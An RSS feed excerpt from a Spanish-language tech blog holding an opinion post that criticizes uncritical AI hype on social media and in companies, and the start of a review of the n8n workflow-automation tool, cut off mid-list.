<?xml version="1.0" encoding="utf-8" standalone="yes"?>

<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Coffee bytes</title>
    <link>https://coffeebytes.dev/es/</link>
    <description>Recent content on Coffee bytes</description>
    <generator>Hugo 0.148.1</generator>
    <language>es</language>
    <copyright>© All rights reserved.</copyright>
    <lastBuildDate>Sat, 13 Jun 2026 20:50:45 +0000</lastBuildDate>
    <atom:link href="https://coffeebytes.dev/es/index.xml" rel="self" type="application/rss+xml" />
    
    <item>
      <title>El Nuevo Dios: El Delirante Culto a La AI en Redes</title>
      <link>https://coffeebytes.dev/es/el-nuevo-dios-el-delirante-culto-a-la-ai-en-redes/</link>
      <pubDate>Sun, 03 May 2026 22:16:16 -0600</pubDate>
      <guid>https://coffeebytes.dev/es/el-nuevo-dios-el-delirante-culto-a-la-ai-en-redes/</guid>
      
      <category>artificial intelligence</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Hoy la AI me creo una función de 120 lineas, totalmente funcional y sin errores, pero no pudo refactorizarme dos miseras páginas de funciones en Python, usarla me ha costado más tiempo que si lo hubiera hecho yo mismo desde el principio; me borró funciones, y modificó el contenido de un par, al final me rendí. Este evento me recordó que quería escribir este post.&lt;/p&gt;&#xA;&lt;h2 id=&#34;la-funa-hacia-los-que-critican-a-la-ai&#34;&gt;La funa hacia los que critican a la AI&lt;/h2&gt;&#xA;&lt;p&gt;Últimamente he notado un cierto &lt;strong&gt;aire de culto a la AI en las redes&lt;/strong&gt; que va mucho más allá del falso entusiasmo hipócrita corporativo respecto a esta nueva tecnología; sí, la gente se encoleriza cuando las limitaciones técnicas de la AI son mencionadas por extraños en internet, como si hicieras el chiste más profano frente a tu tía religiosa.&lt;/p&gt;&#xA;&lt;p&gt;Pareciera que estamos en la época de la santa inquisición, es imposible poner en evidencia la imperfección de la AI sin que un ejercito de inquisidores digitales te increpe por hereje.&lt;/p&gt;&#xA;&lt;p&gt;Comentarios tan simples como: &amp;ldquo;prefiero dibujar a mano&amp;rdquo;, &amp;ldquo;la AI no lo hizo bien así que lo hice yo&amp;rdquo;, &amp;ldquo;el arte de AI no puede ser protegido por las leyes de propiedad intelectual&amp;rdquo; desencadenan un torrente de insultos en los que te tildan de ludita, anti-progreso y/o negacionista de los avances tecnológicos,&#xA;,&#xA;La última vez que lo presencié, fue en una publicación de Instagram. Una diseñadora gráfica defendía su capacidad de creación de logos en un reel. Comparaba sus logos con los de la AI. En minutos la sección de comentarios se llenó de adolescentes (Sí, vi sus fotos de perfil). Sus comentarios buscaban invertir su conclusión, afirmando que, al contrario de lo que la autora decía, era ella quien había sido la &amp;ldquo;papeada&amp;rdquo; por la AI, y no al revés.&lt;/p&gt;&#xA;&lt;p&gt;El &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/el-arte-generado-con-ai-y-el-codigo-generado-con-ai-son-tratados-de-manera-diferente/&#34;&gt;arte se ha considerado una cuestión subjetiva, incluso en tiempos de AI&lt;/a&gt;&#xA;, pero en este caso no se trata de arte puro, sino de diseño, lo cual implica la necesidad de comunicación. Yo estoy de acuerdo con la creadora del reel. Indudablemente su trabajo era superior.&lt;/p&gt;&#xA;&lt;p&gt;Podrás o no estar de acuerdo, pero ¿llegarías al punto de ofender a alguien por defender a la AI?&lt;/p&gt;&#xA;&lt;p&gt;¿Por qué adoptan el rol de un guardaespaldas digital? ¿Por qué tomárselo tan personal? ¿Tienen acciones en alguna empresa de LLMs? ¿Les sucedió lo mismo que al pintor austriaco y tienen que contentarse con crear pinturas en Midjourney? No lo comprendo.&lt;/p&gt;&#xA;&lt;h2 id=&#34;el-culto-corporativo-a-la-ai-la-obsesion-por-la-productividad-y-la-promesa-de-las-ganancias-infinitas&#34;&gt;El culto corporativo a la AI, la obsesión por la productividad y la promesa de las ganancias infinitas&lt;/h2&gt;&#xA;&lt;p&gt;En el mundo corporativo también existe el culto, pero lo comprendo. &lt;strong&gt;Los gurús de la AI les prometieron a los inversionistas que podrían deshacerse de la mayoría de sus empleados&lt;/strong&gt; y con ello reducir sus costos, elevando sus ganancias casi a al mismo nivel que sus egos. Esto provocó un fuerte interés y probablemente &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/el-auge-y-la-caida-de-la-burbuja-de-ai/&#34;&gt;una burbuja financiera de AI&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Es irrelevante si podrán hacerlo o no. Lo que es crucial aquí es notar que existe un conflicto de interés corporativo.&lt;/p&gt;&#xA;&lt;h3 id=&#34;la-obsesion-corporativa-por-la-ai-tiene-conflictos-de-interes&#34;&gt;La obsesión corporativa por la AI tiene conflictos de interés&lt;/h3&gt;&#xA;&lt;p&gt;Los inversionistas adoptaron la idea e &lt;strong&gt;invirtieron fuertemente en convertir a sus empresas en entes &lt;em&gt;AI-first&lt;/em&gt;&lt;/strong&gt;, a pesar de que la evidencia dice &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://mlq.ai/media/quarterly_decks/v0.1_State_of_AI_in_Business_2025_Report.pdf&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;que el 95% de las empresas no logran beneficiarse financiaeramente tras la adopción de la AI&lt;/a&gt;&#xA; o que &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://arxiv.org/html/2510.26787v1&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;la AI falla en realizar proyectos remotos en este mismo porcentaje&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;El dinero que apostaron hace normal que las empresas porten orgullosas el estandarte de la AI, puesto que su futuro económico depende de que así sea. Los CEOs de empresas relacionados deben promover la AI como la nueva panacea digital, sea esto verdad o no.&lt;/p&gt;&#xA;&lt;p&gt;¿Le apostaron al caballo ganador? No lo sé, y tampoco creo que nadie lo sepa a ciencia cierta, pero sería ingenuo pedirle una opinión imparcial de la AI al mismo sujeto que la vende.&lt;/p&gt;&#xA;&lt;h2 id=&#34;que-dicen-los-estudios-sobre-el-efecto-de-la-ai-en-la-sociedad&#34;&gt;¿Qué dicen los estudios sobre el efecto de la AI en la sociedad?&lt;/h2&gt;&#xA;&lt;p&gt;Pero no tenemos que contentarnos con una opinión tan parcial. Los economistas estiman que &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://arxiv.org/abs/2603.20617&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;la AI traerá una productividad infinita con una demanda económica de bienes y servicios que tiende a cero&lt;/a&gt;&#xA;. El ecosistema perfecto para un colapso economico.&lt;/p&gt;&#xA;&lt;p&gt;Según este estudio, existen soluciones, sí, pero, en mi opinión, son ideológicamente, complicadas de implementar:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;UBI (Ingreso básico universal).&lt;/li&gt;&#xA;&lt;li&gt;Impuesto a la automatización.&lt;/li&gt;&#xA;&lt;li&gt;Programas de reentrenamiento (upskilling en inglés).&lt;/li&gt;&#xA;&lt;li&gt;Participación de los trabajadores en el patrimonio de la empresa.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;¿Saben los defensores de la AI sobre esto? ¿Si lo supieran cambiarían su postura?&lt;/p&gt;&#xA;&lt;h2 id=&#34;el-culto-a-la-ai-en-las-generaciones-mas-jovenes&#34;&gt;El culto a la AI en las generaciones más jóvenes&lt;/h2&gt;&#xA;&lt;p&gt;Los más jóvenes se encuentren frente a una situación bastante incierta; si la AI tiene éxito, se enfrentarán a una crisis de empleo y reestructuración social como nunca antes vista. Si la AI no entrega lo que promete, tendremos una nueva crisis de las punto com pero con esteroides.&lt;/p&gt;&#xA;&lt;p&gt;Sorpresivamente parece que este sombrío pronóstico tiene el efecto contrario en la juventud. Sus convicciones de que podrán posicionarse fácilmente en redes sociales creando textos y videos con AI o creando el próximo unicornio con una app hecha con Claude Code, mientras miran con desdén a los ilustradores y a los desarrolladores, se mantienen intactas.&lt;/p&gt;&#xA;&lt;p&gt;Las personas creen que la AI saldrá del mundo digital y los salvará de las inclemencias del &amp;ldquo;día a día&amp;rdquo; que los amenazan. Les dió una excusa para &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.sciencedirect.com/science/article/pii/S2666920X2500147X&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;renunciar a crear textos&lt;/a&gt;&#xA;, ilustraciones, música, etc. puesto que &amp;ldquo;La AI puede hacerlo por mi&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;Me entristece, porque la gente desconoce lo realmente mal que escribe la AI (sí, incluso peor que yo), el tan marcado sesgo de positividad que tiene, y &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://arxiv.org/pdf/2509.19163&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;lo trivial que es darse cuenta de que un texto fue escrito con AI&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;¿Ves lo que pasa por no saber como funcionan las matrices matemáticas?&lt;/p&gt;&#xA;&lt;h2 id=&#34;el-origen-del-hype-de-la-ai&#34;&gt;El origen del hype de la AI&lt;/h2&gt;&#xA;&lt;p&gt;Sin entrar en dilemas morales sobre si es algo bueno o malo, yo atribuyo este entusiasmo desmedido a que redes sociales se ha convertido en una máquina de propaganda a favor de la AI. Es imposible navegar en redes sociales (particularmente en X), sin que 2 de cada 3 publicaciones estén relacionadas con la AI.&lt;/p&gt;&#xA;&lt;p&gt;¿Los responsables? Los AI bros y un entorno que funciona como el caldo de cultivo perfecto.&lt;/p&gt;&#xA;&lt;h3 id=&#34;la-camara-de-eco-de-los-ai-bros&#34;&gt;La cámara de eco de los AI bros&lt;/h3&gt;&#xA;&lt;p&gt;Este tema merece un post aparte, pero por ahora bastan un par de párrafos. Los AI bros son una especie bastante peculiar, hace unos años no eran los expertos autoproclamados AI bros, sino veteranos crypto bros. Ahora que la burbuja crypto estalló migraron a la AI y van por ahí llenando los timelines de redes de FOMO, publicando cada semana titulares tan sensacionalistas como: &amp;ldquo;las 7 nuevas herramientas de AI que usarás al resto de tu vida&amp;rdquo;, &amp;ldquo;el nuevo modelo que lo cambia todo&amp;rdquo; (sí, por quinta vez en el año).&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1777744916/coffee-bytes/crypto-bros-then-now-meme_yxyxeh.jpg&#34; aria-label=&#34;Los AI bros de hoy fueron los crypto bros de ayer, pero peor&#34;&gt;&#xA;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1777744916/coffee-bytes/crypto-bros-then-now-meme_yxyxeh.jpg&#34; alt=&#34;Los AI bros de hoy fueron los crypto bros de ayer, pero peor&#34;/&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;El hecho de que X pague por visualizaciones, junto al ingreso directo por la venta de cursos, intensifica la situación, crea la cámara de eco perfecta para dar la ilusión de que la AI está resolviendo todos los problemas del mundo mientras &lt;del&gt;doom&lt;/del&gt; scrolleas en redes.&lt;/p&gt;&#xA;&lt;p&gt;¿El problema? El mismo conflicto de interés que el mundo corporativo, la monetización (ya sea por venta de cursos o visualizaciones) no permite una visión imparcial de los avances de la AI, pues no se trata de ser preciso, sino de la oportunidad de vender el siguiente curso, o volverse viral. ¿Te acuerdas de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/devin-ai-el-supuesto-reemplazo-de-los-programadores/&#34;&gt;Devin AI, la inteligencia artificial que iba a reemplazar a los programadores&lt;/a&gt;&#xA; hace unos años?&lt;/p&gt;&#xA;&lt;h2 id=&#34;la-ai-no-es-la-solucion-a-todos-los-problemas-aun&#34;&gt;La AI NO es la solución a todos los problemas&amp;hellip; aún&lt;/h2&gt;&#xA;&lt;p&gt;Hay un delirio en la sociedad, la AI va a traer avances indudablemente, y ojalá automatice las tareas mundanas de escribir correos y memos corporativos. Pero no es un comodín para solucionar cada uno de los problemas del mundo, ¡ni siquiera para tener la razón siempre!&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://cdn.statcdn.com/Infographic/images/normal/35534.jpeg&#34; aria-label=&#34;&#34;&gt;&#xA;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://cdn.statcdn.com/Infographic/images/normal/35534.jpeg&#34; alt=&#34;&#34;/&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;A pesar de tener casos tan asombrosos como el del &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.youtube.com/watch?v=OAlHiQLsYQM&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;CEO de Gitlab que se curó del cancer&lt;/a&gt;&#xA; o la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://x.com/paul_conyngham/status/2036940410363535823&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;creación de una vacuna RNA para salvar a un perro de cancer por Paul S. Conyngham&lt;/a&gt;&#xA;, la AGI aún está lejos.&lt;/p&gt;&#xA;&lt;p&gt;&amp;ldquo;Es que no usaste el prompt correcto&amp;rdquo;, &amp;ldquo;usaste el modelo incorrecto&amp;rdquo;, &amp;ldquo;la AI lo hizo mejor desde el principio&amp;rdquo;. He usado AI lo suficiente para saber que no es tan sencillo. Toca iterar mucho, toca ser super específico y detallado. La AI es útil, pero no es mágica. El no determinismo que caracteriza a los modelos no siempre juega a favor, a veces un mismo estilo de prompt funciona y otras veces no.&lt;/p&gt;&#xA;&lt;p&gt;Justamente es su naturaleza no determinista la que le permite, al mismo tiempo, una alta capacidad de adaptación, pero la vuelve impredecible y la descarta para tareas que exigen repetibilidad y precisión milimétrica. Usarla no está de ninguna manera mal, depender de ella y glorificarla sí.&lt;/p&gt;&#xA;&lt;h2 id=&#34;los-limites-actuales-de-la-ai&#34;&gt;Los límites actuales de la AI&lt;/h2&gt;&#xA;&lt;p&gt;Todo lo que escribí es solo para expresar mi desagrado a la idea de tratar a la AI como una deidad. Hacerlo acarrea &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://edition.cnn.com/2025/09/05/tech/ai-sparked-delusion-chatgpt&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;delirios megalomaniacos&lt;/a&gt;&#xA; y otros &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.bbc.com/news/articles/ce3xgwyywe4o&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;problemas muy graves&lt;/a&gt;&#xA;, que parecen sacados de una novela escrita en conjunto por William Gibson y Clive Barker.&lt;/p&gt;&#xA;&lt;p&gt;No debemos glorificar los algoritmos matriciales, sin importar que tan sofisticados sean. La AI no deja de ser un modelo matemático que un predice el token más probable, conveniente, sí, pero solo eso.&lt;/p&gt;&#xA;&lt;p&gt;¿Has intentado jugar ajedrez contra ChatGPT? ¿O has visto como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.scielo.cl/scielo.php?pid=S0718-09342025000300451&amp;amp;script=sci_arttext&amp;amp;tlng=en&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;la AI falla estrepitosamente los esquemas de Winograd&lt;/a&gt;&#xA; en cuanto te alejas de los más populares? ¿Has leído el código que genera o sus propuestas de bajo nivel? Es justo ahí donde se pone en evidencia su incapacidad para razonar.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/chat-gpt-la-habitacion-china-de-searle-y-la-consciencia/&#34;&gt;Searle y Penrose aún tienen razón; la AI no es consciente&lt;/a&gt;&#xA; y la inteligencia general quizás requiera alguna forma de conciencia.&lt;/p&gt;&#xA;&lt;p&gt;La AGI aún está muy lejos, si es que es posible en primer lugar. Pero sus paladines digitales seguirán patrullando las redes para encarar a quien se atreva a blasferma contra su falso idolo de silicio.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Hoy la AI me creo una función de 120 lineas, totalmente funcional y sin errores, pero no pudo refactorizarme dos miseras páginas de funciones en Python, usarla me ha costado más tiempo que si lo hubiera hecho yo mismo desde el principio; me borró funciones, y modificó el contenido de un par, al final me rendí. Este evento me recordó que quería escribir este post.&lt;/p&gt;&#xA;&lt;h2 id=&#34;la-funa-hacia-los-que-critican-a-la-ai&#34;&gt;La funa hacia los que critican a la AI&lt;/h2&gt;&#xA;&lt;p&gt;Últimamente he notado un cierto &lt;strong&gt;aire de culto a la AI en las redes&lt;/strong&gt; que va mucho más allá del falso entusiasmo hipócrita corporativo respecto a esta nueva tecnología; sí, la gente se encoleriza cuando las limitaciones técnicas de la AI son mencionadas por extraños en internet, como si hicieras el chiste más profano frente a tu tía religiosa.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Mi experiencia usando n8n y mi opinión</title>
      <link>https://coffeebytes.dev/es/mi-experiencia-usando-n8n-y-mi-opinion/</link>
      <pubDate>Fri, 27 Feb 2026 15:50:49 -0600</pubDate>
      <guid>https://coffeebytes.dev/es/mi-experiencia-usando-n8n-y-mi-opinion/</guid>
      
      <category>n8n</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Llevo ya un tiempo utilizando &lt;strong&gt;n8n&lt;/strong&gt; para automatizar procesos en páginas de Facebook, sitios webs, whatsApp y, combinándolo con otras herramientas. Después de este tiempo de uso, creo que ya puedo compartir una visión un poco más clara de lo que ofrece esta herramienta y si realmente vale la pena.&lt;/p&gt;&#xA;&lt;p&gt;Si has vivido debajo de una roca o eres nuevo en el mundo de la tecnología, n8n es una herramienta de automatización bastante popular. Su principal atractivo es que te permite crear flujos de trabajo complejos de una manera muy visual: adios líneas de código, hola nodos; aquí solo tienes que arrastrar y soltar recuadros sobre un lienzo y conectarlos entre ellos.&lt;/p&gt;&#xA;&lt;div class=&#34;md-local-image&#34; style=&#34;width: 100%; margin: 1rem 0;&#34;&gt;&#xA;  &lt;video &#xA;    id=&#34;video-1781383876446597691&#34;&#xA;    &#xA;    controls&#xA;    data-autoplay&#xA;    loop&#xA;    muted&#xA;    preload=&#34;none&#34;&#xA;    data-src=&#34;https://res.cloudinary.com/dwrscezd2/video/upload/v1772238652/coffee-bytes/n8n-nodes_ts1qya.webm&#34;&#xA;    style=&#34;width: 100%; height: auto; border-radius: 4px;&#34;&#xA;  &gt;&#xA;    Your browser does not support the video tag.&#xA;  &lt;/video&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;script&gt;&#xA;  [&#34;DOMContentLoaded&#34;, &#34;htmx:afterSettle&#34;, &#34;htmx:historyRestore&#34;].forEach(event =&gt; document.addEventListener(event, function() {&#xA;  &#xA;  if (!window.videoObserver) {&#xA;    const loadVideo = (video) =&gt; {&#xA;      const source = document.createElement(&#39;source&#39;);&#xA;      source.src = video.dataset.src;&#xA;      source.type = video.dataset.src.endsWith(&#39;.webm&#39;) ? &#39;video/webm&#39; &#xA;               : video.dataset.src.endsWith(&#39;.ogg&#39;) ? &#39;video/ogg&#39; &#xA;               : &#39;video/mp4&#39;;&#xA;      video.appendChild(source);&#xA;      video.load();&#xA;      &#xA;      if (video.hasAttribute(&#39;data-autoplay&#39;)) {&#xA;        video.setAttribute(&#39;autoplay&#39;, &#39;&#39;);&#xA;        video.play().catch(e =&gt; console.log(&#39;Autoplay prevented:&#39;, e));&#xA;      }&#xA;    };&#xA;&#xA;    const observer = new IntersectionObserver((entries) =&gt; {&#xA;      entries.forEach(entry =&gt; {&#xA;        if (entry.isIntersecting) {&#xA;          const video = entry.target;&#xA;          loadVideo(video);&#xA;          observer.unobserve(video);&#xA;        }&#xA;      });&#xA;    }, {&#xA;      rootMargin: &#39;200px&#39;,&#xA;      threshold: 0.1&#xA;    });&#xA;&#xA;    window.videoObserver = observer;&#xA;  }&#xA;&#xA;  &#xA;  const video = document.getElementById(&#39;video-1781383876446597691&#39;);&#xA;  if (video) {&#xA;    window.videoObserver.observe(video);&#xA;  }&#xA;}))&#xA;&lt;/script&gt;&#xA;&lt;h2 id=&#34;que-se-puede-hacer-exactamente-con-n8n&#34;&gt;¿Qué se puede hacer exactamente con n8n?&lt;/h2&gt;&#xA;&lt;p&gt;En términos prácticos, &lt;strong&gt;casi cualquier cosa&lt;/strong&gt;. La herramienta es increíblemente versátil. Puedes hacer que un proceso se active por un evento específico, como la llegada de un mensaje a WhatsApp o Telegram, una nueva entrada en un blog vía RSS, o incluso programarlo para que se ejecute de forma periódica (como un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/programa-tareas-periodicas-facil-en-linux-con-cron-y-crontab/&#34;&gt;clásico cron en Linux&lt;/a&gt;&#xA; del que ya te hablé en otra entrada).&lt;/p&gt;&#xA;&lt;h3 id=&#34;nodos-en-n8n&#34;&gt;Nodos en n8n&lt;/h3&gt;&#xA;&lt;p&gt;Todo en n8n gira en torno a los &lt;strong&gt;nodos&lt;/strong&gt;. Estos son los bloques con una función única y específica que vas conectando visualmente para construir tu automatización.&lt;/p&gt;&#xA;&lt;p&gt;Hay una enorme biblioteca de nodos &amp;ldquo;out of the box&amp;rdquo; para casi todos los servicios populares, todo muy normie: WordPress, Google Calendar, Telegram, y por supuesto, la mayoría de redes sociales. Los nodos hacen cosas concretas como: mandar un email, ejecutarse cada &amp;ldquo;x&amp;rdquo; minutos, monitorear un RSS cada &amp;ldquo;x&amp;rdquo; segundos.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1772238513/coffee-bytes/nodes-menu-n8n_meeonp.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1772238513/coffee-bytes/nodes-menu-n8n_meeonp.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Menu de nodos en n8n&#34; width=&#34;383&#34; height=&#34;529&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;También hay nodos más técnicos para crear condicionales (sentencias &lt;code&gt;if&lt;/code&gt;), bucles, peticiones HTTP directas, o incluso ejecutar código propio en &lt;strong&gt;JavaScript y Python&lt;/strong&gt;. Sí, leíste bien, nada de Rust, Go ni demás lenguajes esotéricos, puro lenguaje de script kiddies para hacer enojar a los devs de antaño.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1772238511/coffee-bytes/http-request-n8n_zrlgyh.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1772238511/coffee-bytes/http-request-n8n_zrlgyh.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Nodo de petición HTTP en n8n&#34; width=&#34;415&#34; height=&#34;579&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Estos nodos se unen de manera que el output de uno(s) se vuelve el input del otro(s) y a la estructura que resulta de varios nodos conectados se le puede simplificar llamándolo flujo o flow, el cual se almacena en formato JSON y puedes verlos recien al abrir la app.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1772239025/coffee-bytes/flows-n8n_cb9psf.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1772239025/coffee-bytes/flows-n8n_cb9psf.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Listado de flujos en n8n&#34; width=&#34;1196&#34; height=&#34;345&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;soporte-de-n8n-para-la-ai&#34;&gt;Soporte de n8n para la AI&lt;/h3&gt;&#xA;&lt;p&gt;Además, n8n ofrece soporte para la inteligencia artificial. Cuenta con nodos de &lt;strong&gt;agentes de IA&lt;/strong&gt; donde puedes conectar &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/fine-tuning-de-un-llm-guia-practica-con-recursos/&#34;&gt;tu modelo LLM favorito&lt;/a&gt;&#xA; (OpenAI, Cohere, etc.) para que sea el cerebro de alguna tarea. Y permita que el LLM se conecte a herramientas ya predefinidas, como para agendar un evento, devolver un mensaje de texto, como en el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/te-explico-el-model-context-protocol-mcp-y-para-que-sirve/&#34;&gt;Model Context Protocol&lt;/a&gt;&#xA;, modificar un archivo de excel en linea, etc.&lt;/p&gt;&#xA;&lt;p&gt;Seguro te suena familiar ¿no? son &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/te-explico-el-model-context-protocol-mcp-y-para-que-sirve/&#34;&gt;servidores MCP&lt;/a&gt;&#xA; para n8n.&lt;/p&gt;&#xA;&lt;h3 id=&#34;soporte-de-base-de-datos-en-n8n&#34;&gt;Soporte de base de datos en n8n&lt;/h3&gt;&#xA;&lt;p&gt;También incluye conectores a bases de datos como Redis, Supabase, PrismJS y herramientas que funcionan como pequeños servidores para interactuar con servicios externos.&lt;/p&gt;&#xA;&lt;h3 id=&#34;n8n-gestiona-tus-credenciales&#34;&gt;n8n gestiona tus credenciales&lt;/h3&gt;&#xA;&lt;p&gt;Y no solo eso: gestiona tus &lt;strong&gt;credenciales&lt;/strong&gt; de forma segura (cifradas, nada de archivos de entorno expuestos), para que no cometas la burrada de hardcodearlas en el código o dejarlas en un archivo que está expuesto al exterior.&lt;/p&gt;&#xA;&lt;h3 id=&#34;los-flujos-en-n8n-se-pueden-exportar&#34;&gt;Los flujos en n8n se pueden exportar&lt;/h3&gt;&#xA;&lt;p&gt;N8n te permite guardar tus flujos como &lt;strong&gt;plantillas&lt;/strong&gt; para reutilizarlas o compartirlas con colegas o subirlas a git.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1772238511/coffee-bytes/import-template-menu-n8n_ryscyv.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1772238511/coffee-bytes/import-template-menu-n8n_ryscyv.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Menú para importar y exportar flujos en n8n&#34; width=&#34;158&#34; height=&#34;295&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Además tiene un panel de control para &lt;strong&gt;monitorear&lt;/strong&gt; todos los flujos en ejecución, viendo cuáles funcionan correctamente y dónde se producen errores para poder corregirlos al instante.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1772239025/coffee-bytes/executions-logs-n8n_m4o0ex.png&#34;&gt;&#xA; &lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1772239025/coffee-bytes/executions-logs-n8n_m4o0ex.png&#34;&#xA;     loading=&#34;lazy&#34;&#xA;     alt=&#34;Resumen de los flujos en n8n&#34; width=&#34;1196&#34; height=&#34;441&#34;&gt;&#xA; &lt;/figure&gt;&#xA; &lt;/a&gt;&#xA;&lt;h2 id=&#34;puedo-usar-n8n-sin-saber-programar&#34;&gt;¿Puedo usar n8n sin saber programar?&lt;/h2&gt;&#xA;&lt;p&gt;Sí y no. No planeo mentirte con un falso discurso aspiracionista del estilo &amp;ldquo;aprende n8n en 24 horas y empieza a cobrar miles de dólares&amp;rdquo;, pero tampoco estoy para tirar tus ánimos al suelo diciéndote que si no eres un Tech-savvy no vas a poder.&lt;/p&gt;&#xA;&lt;p&gt;¿Entonces? Mira, mi opinión es que si entiendes el concepto de un bucle, de una condición if/else y entiendes el formato JSON ya puedes hacer automatizaciones sumamente simples. Para crear algo más complejo tendrás que completar tus conocimientos, tienes que entender lo siguiente:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/caracteristicas-basicas-de-una-api-rest/&#34;&gt;Qué es una REST API&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Cuales son las diferencias entre una petición GET, POST, PUT, PATCH, OPTIONS, HEAD, DELETE, para que y cuando se usa cada una&lt;/li&gt;&#xA;&lt;li&gt;Qué son headers en el contexto de una petición HTTP&lt;/li&gt;&#xA;&lt;li&gt;Qué son parámetros en el contexto de una petición HTTP&lt;/li&gt;&#xA;&lt;li&gt;Cómo funciona la autenticación en servicios de terceros por medio de tokens&lt;/li&gt;&#xA;&lt;li&gt;Qué es un webhook&lt;/li&gt;&#xA;&lt;li&gt;Conocimientos de las funciones más básicas de &#xA;&#xA;&lt;a 